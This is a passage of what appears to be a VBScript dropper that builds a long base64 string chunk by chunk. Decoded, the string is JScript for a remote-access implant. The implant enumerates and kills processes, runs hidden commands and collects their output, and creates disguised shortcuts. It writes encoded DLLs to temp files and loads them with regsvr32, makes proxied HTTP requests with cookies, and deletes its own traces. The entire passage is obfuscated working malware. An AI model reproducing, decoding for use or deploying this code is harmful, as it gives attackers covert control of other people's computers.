      x = x & "dFBhcmFtcy5Vc2VyKydcXCcrb3V0UGFyYW1zLkRvbWFpbiArICdcbic7DQoJCQl2YXIgcGUgPSBuZXcgRW51bWVyYXRvcihwcm9j"
      x = x & "LlByb3BlcnRpZXNfKTsNCgkJCWZvcihwZS5tb3ZlRmlyc3QoKTsgIXBlLmF0RW5kKCk7IHBlLm1vdmVOZXh0KCkpew0KCQkJCXBy"
      x = x & "b3BlcnR5ID0gcGUuaXRlbSgpOw0KCQkJCWlmKHF1ZXJ5IT1udWxsICYmICF0aGlzLmluQXJyYXkocXVlcnlBcnJheSxwcm9wZXJ0"
      x = x & "eS5OYW1lKSl7DQoJCQkJCWNvbnRpbnVlOw0KCQkJCX0NCgkJCQlpZihwcm9wZXJ0eS5WYWx1ZSE9bnVsbCl7DQoJCQkJCXJlcyAr"
      x = x & "PSBwcm9wZXJ0eS5OYW1lICsgJyA9ICcgKyBwcm9wZXJ0eS5WYWx1ZS50b1N0cmluZygpICsgJ1xuJzsNCgkJCQl9DQoJCQl9DQoJ"
      x = x & "CX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCQ0KCV9wVHJlZTpmdW5jdGlvbihwaWQsIGxldmVsKXsNCgkJcmVzID0gJyc7DQoJCXZh"
      x = x & "ciBlID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCdzZWxlY3QgKiBmcm9tIFdpbjMyX1Byb2Nlc3Mgd2hl"
      x = x & "cmUgUHJvY2Vzc0lkPScrcGlkLnRvU3RyaW5nKCkpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7ICFlLmF0RW5kKCk7IGUubW92ZU5l"
      x = x & "eHQoKSl7DQoJCQlwcm9jID0gZS5pdGVtKCk7DQoJCQlmb3IoaT0wO2k8bGV2ZWw7KytpKXtyZXMgKz0gJ1x0J30NCgkJCXJlcyAr"
      x = x & "PSBwcm9jLk5hbWUgKyAnICcgKyBwcm9jLlByb2Nlc3NJZCArICdcbic7DQoJCX0NCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0"
      x = x & "aGlzLm9DaW12Mi5FeGVjUXVlcnkoJ3NlbGVjdCAqIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQYXJlbnRQcm9jZXNzSWQ9Jytw"
      x = x & "aWQudG9TdHJpbmcoKSkpOw0KCQlmb3IoZS5tb3ZlRmlyc3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCXByb2Mg"
      x = x & "PSBlLml0ZW0oKTsNCgkJCXJlcyArPSB0aGlzLl9wVHJlZShwcm9jLlByb2Nlc3NJZCwgbGV2ZWwrMSk7DQoJCX0NCgkJcmV0dXJu"
      x = x & "IHJlczsNCgl9LA0KCXBUcmVlOmZ1bmN0aW9uKHBpZCl7DQoJCXJldHVybiB0aGlzLl9wVHJlZShwaWQsIDApOw0KCX0sDQoJDQoJ"
      x = x & "cEtpbGw6ZnVuY3Rpb24ocGlkKXsNCgkJdmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoJ3NlbGVj"
      x = x & "dCAqIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQcm9jZXNzSWQ9JytwaWQudG9TdHJpbmcoKSkpOw0KCQlmb3IoZS5tb3ZlRmly"
      x = x & "c3QoKTsgIWUuYXRFbmQoKTsgZS5tb3ZlTmV4dCgpKXsNCgkJCWUuaXRlbSgpLlRlcm1pbmF0ZSgpOw0KCQl9DQoJCXJldHVybiBw"
      x = x & "aWQrJyB0ZXJtaW5hdGVkJzsNCgl9LA0KCXBLaWxsVHJlZTpmdW5jdGlvbihwaWQpew0KCQl0aGlzLnBLaWxsKHBpZCk7DQoJCXZh"
      x = x & "ciBlID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCdzZWxlY3QgKiBmcm9tIFdpbjMyX1Byb2Nlc3Mgd2hl"
      x = x & "cmUgUGFyZW50UHJvY2Vzc0lkPScrcGlkLnRvU3RyaW5nKCkpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7ICFlLmF0RW5kKCk7IGUu"
      x = x & "bW92ZU5leHQoKSl7DQoJCQl0aGlzLnBLaWxsVHJlZShlLml0ZW0oKS5Qcm9jZXNzSWQpOw0KCQl9DQoJfSwNCgkNCglyYW5kU3Ry"
      x = x & "OmZ1bmN0aW9uKGxlbil7DQoJCXJlcyA9ICcnOw0KCQl0YWJsZSA9ICdBQkNERUZHSEpLTU5QUVJTVFdYWVphYmNkZWZoaWprbW5w"
      x = x & "cnN0d3h5ejIzNDU2NzgnOw0KCQlmb3IoaT0wOyBpPGxlbjsgaSsrKXsNCgkJCXJlcyArPSB0YWJsZS5jaGFyQXQoTWF0aC5mbG9v"
      x = x & "cihNYXRoLnJhbmRvbSgpICogdGFibGUubGVuZ3RoKSk7DQoJCX0NCgkJcmV0dXJuIHJlczsNCgl9LA0KCW1vY2tSdW46ZnVuY3Rp"
      x = x & "b24ocmVhbCwgYXJncywgdGltZW91dCwgbW9jayl7DQoJCXJlYWxUaW1lT3V0ID0gNTsNCgkJaWYodGltZW91dCE9bnVsbClyZWFs"
      x = x & "VGltZU91dD10aW1lb3V0Ow0KCQlpZihtb2NrPT1udWxsKW1vY2s9J3JlZ3N2cjMyJzsNCgkJDQoJCW1vY2tEbGxOYW1lID0gJ34u"
      x = x & "JyArIHRoaXMucmFuZFN0cigxNik7DQoJCW1vY2tEbGxQYXRoID0gdGhpcy50bXBEaXIgKyAnXFwnICsgbW9ja0RsbE5hbWUgKyAn"
      x = x & "LmRsbCc7DQoJCW1vY2tJbmlQYXRoID0gdGhpcy50bXBEaXIgKyAnXFwnICsgbW9ja0RsbE5hbWUgKyAnLmluaSc7DQoJCW1vY2tP"
      x = x & "dXRQYXRoID0gdGhpcy50bXBEaXIgKyAnXFwnICsgbW9ja0RsbE5hbWUgKyAnLm91dCc7DQoJCWlmKHRoaXMub3NCaXQ9PSczMicp"
      x = x & "ew0KCQkJdGhpcy5iYXNlNjRUb0ZpbGUobW9ja0RsbFBhdGgsIHRoaXMuQmFzZTY0X01vY2tEbGwzMik7DQoJCX1lbHNlIGlmKHRo"
      x = x & "aXMub3NCaXQ9PSc2NCcpew0KCQkJdGhpcy5iYXNlNjRUb0ZpbGUobW9ja0RsbFBhdGgsIHRoaXMuQmFzZTY0X01vY2tEbGw2NCk7"
      x = x & "DQoJCX1lbHNle3JldHVybiAndW5rbm93biBvc0JpdCc7fQ0KCQlpbmlGaWxlID0gdGhpcy5vRlMuQ3JlYXRlVGV4dEZpbGUobW9j"
      x = x & "a0luaVBhdGgsIHRydWUpOw0KCQlpbmlGaWxlLldyaXRlTGluZSgnW2NmZ10nKTsNCgkJaW5pRmlsZS5Xcml0ZUxpbmUoJ21vY2s9"
      x = x & "IicrIG1vY2sgKyciJyk7DQoJCWluaUZpbGUuV3JpdGVMaW5lKCdyZWFsPSInKyByZWFsICsnIicpOw0KCQlpbmlGaWxlLldyaXRl"
      x = x & "TGluZSgnYXJncz0nICsgYXJncyk7DQoJCWluaUZpbGUuV3JpdGVMaW5lKCdvdXRmPSInICsgbW9ja091dFBhdGggKyciJyk7DQoJ"
      x = x & "CWlmKHJlYWxUaW1lT3V0PjApaW5pRmlsZS5Xcml0ZUxpbmUoJ3RpbWU9JyArIHJlYWxUaW1lT3V0KTsNCgkJaW5pRmlsZS5DbG9z"
      x = x & "ZSgpOw0KCQl0aGlzLm9TaGVsbC5SdW4oJ3JlZ3N2cjMyIC9zICInK21vY2tEbGxQYXRoKyciJywgMCwgcmVhbFRpbWVPdXQ+MCk7"
      x = x & "DQoJCWlmKHJlYWxUaW1lT3V0PDEpV1NjcmlwdC5TbGVlcCgxMDAwKTsNCgkJcmVzPSdyZWFkIG91dEZpbGUgJyttb2NrT3V0UGF0"
      x = x & "aCsnIGZhaWxlZCc7DQoJCXRyeXsNCgkJCUZvclJlYWRpbmcgPSAxOw0KCQkJb3V0RmlsZSA9IHRoaXMub0ZTLk9wZW5UZXh0Rmls"
      x = x & "ZShtb2NrT3V0UGF0aCwgRm9yUmVhZGluZyk7DQoJCQlyZXMgPSBvdXRGaWxlLlJlYWRBbGwoKTsNCgkJCW91dEZpbGUuQ2xvc2Uo"
      x = x & "KTsNCgkJCXRyeXt0aGlzLm9GUy5EZWxldGVGaWxlKG1vY2tEbGxQYXRoKTt9Y2F0Y2goZXJyKXt9DQoJCQl0cnl7dGhpcy5vRlMu"
      x = x & "RGVsZXRlRmlsZShtb2NrSW5pUGF0aCk7fWNhdGNoKGVycil7fQ0KCQkJaWYocmVhbFRpbWVPdXQ+MCl0cnl7dGhpcy5vRlMuRGVs"
      x = x & "ZXRlRmlsZShtb2NrT3V0UGF0aCk7fWNhdGNoKGVycil7fQ0KCQl9Y2F0Y2goZXJyKXt9DQoJCXJldHVybiByZXM7DQoJfSwNCgkN"
      x = x & "CglydW46ZnVuY3Rpb24oY21kbGluZSwgc2hvdyl7DQoJCXJlYWxTaG93ID0gMDsNCgkJaWYoc2hvdylyZWFsU2hvdyA9IHNob3c7"
      x = x & "DQoJCXJldHVybiB0aGlzLm9TaGVsbC5SdW4oY21kbGluZSwgcmVhbFNob3csIGZhbHNlKTsNCgl9LA0KCQ0KCWV4ZWM6ZnVuY3Rp"
      x = x & "b24oY21kbGluZSwgdGltZW91dCl7DQoJCXJlcyA9ICcnOw0KCQlyZWFsU2VjID0gMzsNCgkJaWYodGltZW91dCE9bnVsbCl7cmVh"
      x = x & "bFNlYz10aW1lb3V0O30NCgkJd2FpdFRpbWUgPSByZWFsU2VjKjEwOw0KCQlXc2hSdW5uaW5nID0gMDsNCgkJV3NoRmluaXNoZWQg"
      x = x & "PSAxOw0KCQl0cnl7DQoJCQlvRXhlYyA9IHRoaXMub1NoZWxsLkV4ZWMoY21kbGluZSk7DQoJCQlpZih3YWl0VGltZTw9MCl7DQoJ"
      x = x & "CQkJcmV0dXJuICdQcm9jZXNzSUQ9JytvRXhlYy5Qcm9jZXNzSUQrJyx0aW1lb3V0PD0wJzsNCgkJCX0NCgkJCWRvew0KCQkJCWlm"
      x = x & "KG9FeGVjLnN0YXR1cz09V3NoRmluaXNoZWQpYnJlYWs7DQoJCQkJV1NjcmlwdC5TbGVlcCgxMDApOw0KCQkJfXdoaWxlKHdhaXRU"
      x = x & "aW1lLS0pOw0KCQkJaWYob0V4ZWMuc3RhdHVzPT1Xc2hSdW5uaW5nKXsNCgkJCQlvRXhlYy5UZXJtaW5hdGUoKTsNCgkJCX0NCgkJ"
      x = x & "CXJlcyArPSAnUHJvY2Vzc0lEPScrb0V4ZWMuUHJvY2Vzc0lEKycsdGltZW91dD0nK3RpbWVvdXQrJyxFeGl0Q29kZT0nK29FeGVj"
      x = x & "LkV4aXRDb2RlKydcclxuJzsNCgkJCWlmKCFvRXhlYy5TdGRPdXQuQXRFbmRPZlN0cmVhbSlyZXMrPW9FeGVjLlN0ZE91dC5yZWFk"
      x = x & "QWxsKCk7DQoJCQlpZighb0V4ZWMuU3RkRXJyLkF0RW5kT2ZTdHJlYW0pcmVzKz1vRXhlYy5TdGRFcnIucmVhZEFsbCgpOw0KCQl9"
      x = x & "Y2F0Y2goZXJyKXtyZXMrPXRoaXMuZXJyT2JqVG9TdHIoZXJyKTt9DQoJCXJldHVybiAgcmVzOw0KCX0sDQoJDQoJbWtzYzpmdW5j"
      x = x & "dGlvbihwYXRoLCB0YXJnZXQsIGFyZ3Mpew0KCQl2YXIgbGluayA9IHRoaXMub1NoZWxsLkNyZWF0ZVNob3J0Y3V0KHBhdGgpOw0K"
      x = x & "CQlNaW5pbWl6ZWQgPSA3Ow0KCQlsaW5rLlRhcmdldFBhdGggPSB0YXJnZXQ7DQoJCWxpbmsuQXJndW1lbnRzID0gYXJnczsNCgkJ"
      x = x & "bGluay5XaW5kb3dTdHlsZSA9IE1pbmltaXplZDsNCgkJbGluay5JY29uTG9jYXRpb24gPSAnbm90ZXBhZC5leGUsIDAnOw0KCQls"
      x = x & "aW5rLlNhdmUoKTsNCgkJcmV0dXJuICdkb25lJzsNCgl9LA0KCQ0KCWtiOmZ1bmN0aW9uKCl7DQoJCXZhciByZXMgPSAnJzsNCgkJ"
      x = x & "dmFyIGUgPSBuZXcgRW51bWVyYXRvcih0aGlzLm9DaW12Mi5FeGVjUXVlcnkoIlNFTEVDVCAqIEZST00gV2luMzJfUXVpY2tGaXhF"
      x = x & "bmdpbmVlcmluZyIpKTsNCgkJZm9yKGUubW92ZUZpcnN0KCk7ICFlLmF0RW5kKCk7IGUubW92ZU5leHQoKSl7DQoJCQl2YXIgb2Jq"
      x = x & "UXVpY2tGaXggPSBlLml0ZW0oKTsNCgkJCXJlcyArPSBvYmpRdWlja0ZpeC5Ib3RGaXhJRCArICdcbic7DQoJCX0NCgkJcmV0dXJu"
      x = x & "IHJlczsNCgl9LA0KCQ0KCWRyaXZlOmZ1bmN0aW9uKCl7DQoJCXZhciBzID0gIi0tLUxvY2FsIGRyaXZlXHJcbiI7DQoJCXZhciBi"
      x = x & "eXRlc1BlckdCID0gMTAyNCAqIDEwMjQgKiAxMDI0Ow0KCQl2YXIgZSA9IG5ldyBFbnVtZXJhdG9yKHRoaXMub0ZTLkRyaXZlcyk7"
      x = x & "DQoJCWZvcihlLm1vdmVGaXJzdCgpOyAhZS5hdEVuZCgpOyBlLm1vdmVOZXh0KCkpew0KCQkJdmFyIGRydiA9IGUuaXRlbSgpOw0K"
      x = x & "CQkJcyArPSBkcnYuUGF0aCArICIgLSAiOw0KCQkJaWYoZHJ2LklzUmVhZHkpew0KCQkJCXZhciBmcmVlR0IgPSBkcnYuRnJlZVNw"
      x = x & "YWNlIC8gYnl0ZXNQZXJHQjsNCgkJCQl2YXIgdG90YWxHQiA9IGRydi5Ub3RhbFNpemUgLyBieXRlc1BlckdCOw0KDQoJCQkJcyAr"
      x = x & "PSBmcmVlR0IudG9GaXhlZCgzKSArICIgR0IgLyAiOw0KCQkJCXMgKz0gdG90YWxHQi50b0ZpeGVkKDMpICsgIiBHQiI7DQoJCQl9"
      x = x & "ZWxzZXsNCgkJCQlzICs9ICJOb3QgUmVhZHkiOw0KCQkJfQ0KCQkJcyArPSAiXHJcbiI7DQoJCX0NCgkJcyArPSAiXHJcbiI7DQoJ"
      x = x & "CQ0KCQlzICs9ICItLS1OZXR3b3JrIGRyaXZlIG1hcHBpbmdzXHJcbiI7DQoJCXZhciBvRHJpdmVzID0gdGhpcy5vTmV0LkVudW1O"
      x = x & "ZXR3b3JrRHJpdmVzKCk7DQoJCWZvcihpID0gMDsgaSA8IG9Ecml2ZXMubGVuZ3RoOyBpICs9IDIpIHsNCiAgICAgICAgICAgIHMg"
      x = x & "Kz0gIkRyaXZlICIgKyBvRHJpdmVzLkl0ZW0oaSkgKyAiIC0gIiArIG9Ecml2ZXMuSXRlbShpICsgMSkgKyAiXHJcbiI7DQoJCX0N"
      x = x & "CgkJDQoJCXMgKz0gIlxyXG4iOw0KCQlzICs9ICItLS1OZXR3b3JrIHByaW50ZXIgbWFwcGluZ3NcclxuIjsNCgkJdmFyIG9Qcmlu"
      x = x & "dGVycyA9IHRoaXMub05ldC5FbnVtUHJpbnRlckNvbm5lY3Rpb25zKCk7DQoJCWZvcihpID0gMDsgaSA8IG9QcmludGVycy5sZW5n"
      x = x & "dGg7IGkgKz0gMikgew0KICAgICAgICAgICAgcyArPSAiUG9ydCAiICsgb1ByaW50ZXJzLkl0ZW0oaSkgKyAiIC0gIiArIG9Qcmlu"
      x = x & "dGVycy5JdGVtKGkgKyAxKSArICJcclxuIjs7DQoJCX0NCgkJDQoJCXJldHVybihzKTsNCgl9LA0KCQ0KCXJlcTpmdW5jdGlvbih1"
      x = x & "cmwsIG1ldGhvZCwgZGF0YSwgY29va2llLCBwcm94eSwgdXNlcm5hbWUsIHBhc3N3b3JkKXsNCgkJb0h0dHAgPSBuZXcgQWN0aXZl"
      x = x & "WE9iamVjdCgnTVNYTUwyLlNlcnZlclhNTEhUVFAuNi4wJyk7DQoJCWlmKHByb3h5ICYmIHByb3h5Lmxlbmd0aD4wKXsNCgkJCVNY"
      x = x & "SF9QUk9YWV9TRVRfUFJPWFkgPSAyOw0KCQkJb0h0dHAuc2V0UHJveHkoU1hIX1BST1hZX1NFVF9QUk9YWSwgcHJveHksICc8bG9j"
      x = x & "YWw+Jyk7DQoJCX1lbHNlew0KCQkJU1hIX1BST1hZX1NFVF9QUkVDT05GSUcgPSAwOw0KCQkJb0h0dHAuc2V0UHJveHkoU1hIX1BS"
      x = x & "T1hZX1NFVF9QUkVDT05GSUcpOw0KCQl9DQoJCWlmKG1ldGhvZCAmJiBtZXRob2QubGVuZ3RoPjApew0KCQkJb0h0dHAub3Blbiht"
      x = x & "ZXRob2QsIHVybCwgZmFsc2UpOw0KCQl9ZWxzZXsNCgkJCW9IdHRwLm9wZW4oJ0dFVCcsIHVybCwgZmFsc2UpOw0KCQl9DQoJCW9I"
      x = x & "dHRwLnNldE9wdGlvbigyLCAxMzA1Nik7DQoJCWlmKHVzZXJuYW1lIT1udWxsICYmIHBhc3N3b3JkIT1udWxsKXsNCgkJCW9IdHRw"
      x = x & "LnNldFByb3h5Q3JlZGVudGlhbHModXNlcm5hbWUsIHBhc3N3b3JkKTsNCgkJfQ0KCQlpZihjb29raWUgJiYgY29va2llLmxlbmd0"
      x = x & "aD4wKXsNCgkJCW9IdHRwLnNldFJlcXVlc3RIZWFkZXIoJ0Nvb2tpZScsIGNvb2tpZSk7DQoJCX0NCgkJb0h0dHAuc2V0UmVxdWVz"
      x = x & "dEhlYWRlcignQ09OVEVOVC1UWVBFJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KCQlpZihkYXRhICYm"
      x = x & "IGRhdGEubGVuZ3RoPjApew0KCQkJb0h0dHAuc2VuZChkYXRhKTsNCgkJfWVsc2V7DQoJCQlvSHR0cC5zZW5kKCk7DQoJCX0NCgkJ"
      x = x & "cmV0dXJuIG9IdHRwLmdldEFsbFJlc3BvbnNlSGVhZGVycygpICsgb0h0dHAucmVzcG9uc2VUZXh0Ow0KCX0sDQoJDQoJcENyZWF0"
      x = x & "ZTpmdW5jdGlvbihDb21tYW5kTGluZSl7DQoJCXZhciBzdGFydEluZm8gPSB0aGlzLm9DaW12Mi5HZXQoIldpbjMyX1Byb2Nlc3NT"
      x = x & "dGFydHVwIikuU3Bhd25JbnN0YW5jZV8oKTsNCgkJc3RhcnRJbmZvLlNob3dXaW5kb3cgPSAwOw0KDQoJCXZhciBwcm9jZXNzID0g"
      x = x & "dGhpcy5vQ2ltdjIuR2V0KCdXaW4zMl9Qcm9jZXNzJyk7DQoJCXZhciBtZXRob2QgPSBwcm9jZXNzLk1ldGhvZHNfLkl0ZW0oJ0Ny"
      x = x & "ZWF0ZScpOw0KCQl2YXIgaW5QYXJhbXMgPSBtZXRob2QuSW5QYXJhbWV0ZXJzLlNwYXduSW5zdGFuY2VfKCk7DQoJCWluUGFyYW1z"
      x = x & "LkNvbW1hbmRMaW5lID0gQ29tbWFuZExpbmU7DQoJCWluUGFyYW1zLkN1cnJlbnREaXJlY3RvcnkgPSBudWxsOw0KCQlpblBhcmFt"
      x = x & "cy5Qcm9jZXNzU3RhcnR1cEluZm9ybWF0aW9uID0gc3RhcnRJbmZvOw0KDQoJCXZhciBvdXRQYXJhbXMgPSBwcm9jZXNzLkV4ZWNN"
      x = x & "ZXRob2RfKG1ldGhvZC5OYW1lLCBpblBhcmFtcyk7DQoJCWlmIChvdXRQYXJhbXMuUmV0dXJuVmFsdWUgPT0gMCkNCgkJCXJldHVy"
      x = x & "biBvdXRQYXJhbXMuUHJvY2Vzc0lkOw0KCQllbHNlDQoJCQlyZXR1cm4gMDsNCgl9LA0KCXBFeGlzdHM6ZnVuY3Rpb24ocHJvY2Vz"
      x = x & "c0lkKXsNCgkgIHZhciBjb2xQcm9jZXNzID0gbmV3IEVudW1lcmF0b3IodGhpcy5vQ2ltdjIuRXhlY1F1ZXJ5KCJzZWxlY3QgUHJv"
      x = x & "Y2Vzc0lkIGZyb20gV2luMzJfUHJvY2VzcyB3aGVyZSBQcm9jZXNzSWQ9IiArIHByb2Nlc3NJZC50b1N0cmluZygpKSk7DQoJICBy"
      x = x & "ZXR1cm4gIWNvbFByb2Nlc3MuYXRFbmQoKTsNCgl9LA0KCWV4ZWNXaXRoQ1NjcmlwdDpmdW5jdGlvbihjbWQsIHNlYyl7DQoJCXZh"
      x = x & "ciBzY3JpcHRGaWxlUGF0aCA9IHRoaXMudG1wRGlyICsgJ1xcfi4nK3RoaXMucmFuZFN0cigxNik7DQoJCXZhciBvdXRGaWxlUGF0"
      x = x & "aCA9IHNjcmlwdEZpbGVQYXRoKycuZGF0JzsNCgkJdHJ5ew0KCQkJZiA9IHRoaXMub0ZTLk9wZW5UZXh0RmlsZShzY3JpcHRGaWxl"
      x = x & "UGF0aCwgMiwgMSk7DQoJCQlmLldyaXRlKCJXPW5ldyBBY3RpdmVYT2JqZWN0KCdXU2NyaXB0LlNoZWxsJyk7Iik7DQoJCQlmLldy"
      x = x & "aXRlKCJGPShuZXcgQWN0aXZlWE9iamVjdCgnU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3QnKSkuT3BlblRleHRGaWxlKHVuZXNj"
      x = x & "YXBlKCciK2VzY2FwZShvdXRGaWxlUGF0aCkrIicpLDIsMSk7Iik7DQoJCQlmLldyaXRlKCJPPVcuRXhlYyh1bmVzY2FwZSgnIitl"
      x = x & "c2NhcGUoY21kKSsiJykpO0YuV3JpdGUoTy5TdGRPdXQuUmVhZEFsbCgpK08uU3RkRXJyLlJlYWRBbGwoKSk7Ri5DbG9zZSgpOyIp"
      x = x & "Ow0KCQkJZi5DbG9zZSgpOw0KCQl9Y2F0Y2goZXJyKXsNCgkJCXRyeXt0aGlzLm9GUy5EZWxldGVGaWxlKHNjcmlwdEZpbGVQYXRo"
      x = x & "KTt9Y2F0Y2goZXJyKXt9DQoJCQlyZXR1cm4gJ1dyaXRlIHNjcmlwdEZpbGUgZXJyb3InOw0KCQl9DQoJCXBpZCA9IHRoaXMucENy"
      x = x & "ZWF0ZSgnY3NjcmlwdCAvRTpKU2NyaXB0IC9ub2xvZ28gIicrc2NyaXB0RmlsZVBhdGgrJyInKTsNCgkJZm9yIChpPTA7IGk8c2Vj"
      x = x & "KjEwOyBpKyspew0KCQkJaWYgKCF0aGlzLnBFeGlzdHMocGlkKSl7DQoJCQkJcmVzID0gJyc7DQoJCQkJdHJ5ew0KCQkJCQlmID0g"
      x = x & "dGhpcy5vRlMuT3BlblRleHRGaWxlKG91dEZpbGVQYXRoLCAxKTsNCgkJCQkJcmVzID0gZi5SZWFkQWxsKCk7DQoJCQkJCWYuQ2xv"
      x = x & "c2UoKTsNCgkJCQl9Y2F0Y2goZXJyKXt9DQoJCQkJdHJ5e3RoaXMub0ZTLkRlbGV0ZUZpbGUoc2NyaXB0RmlsZVBhdGgpO3RoaXMu"
      x = x & "b0ZTLkRlbGV0ZUZpbGUob3V0RmlsZVBhdGgpO31jYXRjaChlcnIpe30NCgkJCQlyZXR1cm4gcmVzOw0KCQkJfQ0KCQkJV1Njcmlw"
      x = x & "dC5TbGVlcCgxMDApOw0KCQl9DQoJCXRyeXt0aGlzLm9GUy5EZWxldGVGaWxlKHNjcmlwdEZpbGVQYXRoKTt9Y2F0Y2goZXJyKXt9"
      x = x & "DQoJCXJldHVybiAnW1RpbWVvdXRdIG91dGY6ICcrb3V0RmlsZVBhdGgrJyBwaWQ9JytwaWQ7DQoJfSwNCgkNCgliYXNlNjRUb0Zp"
      x = x & "bGU6ZnVuY3Rpb24ocGF0aCwgYmluKXsNCgkJcmVzID0gJyc7DQoJCXRyeXsNCgkJCXZhciBhZG8gPSBuZXcgQWN0aXZlWE9iamVj"
      x = x & "dCgnQURPREIuU3RyZWFtJyk7DQoJCQl2YXIgeG1sID0gbmV3IEFjdGl2ZVhPYmplY3QoJ01pY3Jvc29mdC5YTUxET00nKTsNCgkJ"
      x = x & "CXZhciBub2RlID0geG1sLmNyZWF0ZUVsZW1lbnQoImJpbmFyeSIpOw0KCQkJbm9kZS5kYXRhVHlwZSA9ICdiaW4uYmFzZTY0JzsN"
      x = x & "CgkJCW5vZGUudGV4dCA9IGJpbjsNCgkJCWJpbiA9IG5vZGUubm9kZVR5cGVkVmFsdWU7DQoJCQlkZWxldGUgbm9kZTsNCgkJCWRl"
      x = x & "bGV0ZSB4bWw7DQoJCQl2YXIgYWRTYXZlQ3JlYXRlT3ZlcndyaXRlICA9IDI7DQoJCQl2YXIgYWRUeXBlQmluYXJ5ID0gMTsNCgkJ"
      x = x & "CWFkby5PcGVuKCk7DQoJCQlhZG8uVHlwZSA9IGFkVHlwZUJpbmFyeTsNCgkJCWFkby5Qb3NpdGlvbiA9IDA7DQoJCQlhZG8uV3Jp"
      x = x & "dGUoYmluKTsNCgkJCWFkby5TYXZlVG9GaWxlKHBhdGgsIGFkU2F2ZUNyZWF0ZU92ZXJ3cml0ZSk7DQoJCQlhZG8uQ2xvc2UoKTsN"
      x = x & "CgkJCWRlbGV0ZSBhZG87DQoJCQlmID0gdGhpcy5vRlMuR2V0RmlsZShwYXRoKTsNCgkJCXJlcyA9IGYuU2l6ZTsNCgkJfWNhdGNo"
      x = x & "KGVycil7cmVzPXRoaXMuZXJyT2JqVG9TdHIoZXJyKTt9DQoJCXJldHVybiByZXM7DQoJfSwNCgkNCglfa2V5U3RyIDogIjAxMjM0"
      x = x & "YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXo1Njc4OUFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaKy8iICsgIj0iLA0KCWVuY29k"
      x = x & "ZSA6IGZ1bmN0aW9uIChpbnB1dCkgew0KCQl2YXIgb3V0cHV0ID0gIiI7DQoJCXZhciBjaHIxLCBjaHIyLCBjaHIzLCBlbmMxLCBl"
      x = x & "bmMyLCBlbmMzLCBlbmM0Ow0KCQl2YXIgaSA9IDA7DQoJCWlucHV0ID0gdGhpcy5fdXRmOF9lbmNvZGUoaW5wdXQpOw0KCQl3aGls"
      x = x & "ZSAoaSA8IGlucHV0Lmxlbmd0aCkgew0KCQkJY2hyMSA9IGlucHV0LmNoYXJDb2RlQXQoaSsrKTsNCgkJCWNocjIgPSBpbnB1dC5j"
      x = x & "aGFyQ29kZUF0KGkrKyk7DQoJCQljaHIzID0gaW5wdXQuY2hhckNvZGVBdChpKyspOw0KCQkJZW5jMSA9IGNocjEgPj4gMjsNCgkJ"
      x = x & "CWVuYzIgPSAoKGNocjEgJiAzKSA8PCA0KSB8IChjaHIyID4+IDQpOw0KCQkJZW5jMyA9ICgoY2hyMiAmIDE1KSA8PCAyKSB8IChj"
      x = x & "aHIzID4+IDYpOw0KCQkJZW5jNCA9IGNocjMgJiA2MzsNCgkJCWlmIChpc05hTihjaHIyKSkgew0KCQkJCWVuYzMgPSBlbmM0ID0g"
      x = x & "NjQ7DQoJCQl9IGVsc2UgaWYgKGlzTmFOKGNocjMpKSB7DQoJCQkJZW5jNCA9IDY0Ow0KCQkJfQ0KCQkJb3V0cHV0ID0gb3V0cHV0"
      x = x & "ICsNCgkJCXRoaXMuX2tleVN0ci5jaGFyQXQoZW5jMSkgKyB0aGlzLl9rZXlTdHIuY2hhckF0KGVuYzIpICsNCgkJCXRoaXMuX2tl"
      x = x & "eVN0ci5jaGFyQXQoZW5jMykgKyB0aGlzLl9rZXlTdHIuY2hhckF0KGVuYzQpOw0KCQl9DQoJCXJldHVybiBvdXRwdXQ7DQoJfSwN"
      x = x & "CglkZWNvZGUgOiBmdW5jdGlvbiAoaW5wdXQpIHsNCgkJdmFyIG91dHB1dCA9ICIiOw0KCQl2YXIgY2hyMSwgY2hyMiwgY2hyMzsN"
      x = x & "CgkJdmFyIGVuYzEsIGVuYzIsIGVuYzMsIGVuYzQ7DQoJCXZhciBpID0gMDsNCgkJaW5wdXQgPSBpbnB1dC5yZXBsYWNlKC9bXkEt"
      x = x & "WmEtejAtOVwrXC9cPV0vZywgIiIpOw0KCQl3aGlsZSAoaSA8IGlucHV0Lmxlbmd0aCkgew0KCQkJZW5jMSA9IHRoaXMuX2tleVN0"
      x = x & "ci5pbmRleE9mKGlucHV0LmNoYXJBdChpKyspKTsNCgkJCWVuYzIgPSB0aGlzLl9rZXlTdHIuaW5kZXhPZihpbnB1dC5jaGFyQXQo"
      x = x & "aSsrKSk7DQoJCQllbmMzID0gdGhpcy5fa2V5U3RyLmluZGV4T2YoaW5wdXQuY2hhckF0KGkrKykpOw0KCQkJZW5jNCA9IHRoaXMu"
      x = x & "X2tleVN0ci5pbmRleE9mKGlucHV0LmNoYXJBdChpKyspKTsNCgkJCWNocjEgPSAoZW5jMSA8PCAyKSB8IChlbmMyID4+IDQpOw0K"
      x = x & "CQkJY2hyMiA9ICgoZW5jMiAmIDE1KSA8PCA0KSB8IChlbmMzID4+IDIpOw0KCQkJY2hyMyA9ICgoZW5jMyAmIDMpIDw8IDYpIHwg"
      x = x & "ZW5jNDsNCgkJCW91dHB1dCA9IG91dHB1dCArIFN0cmluZy5mcm9tQ2hhckNvZGUoY2hyMSk7DQoJCQlpZiAoZW5jMyAhPSA2NCkg"
      x = x & "ew0KCQkJCW91dHB1dCA9IG91dHB1dCArIFN0cmluZy5mcm9tQ2hhckNvZGUoY2hyMik7DQoJCQl9DQoJCQlpZiAoZW5jNCAhPSA2"
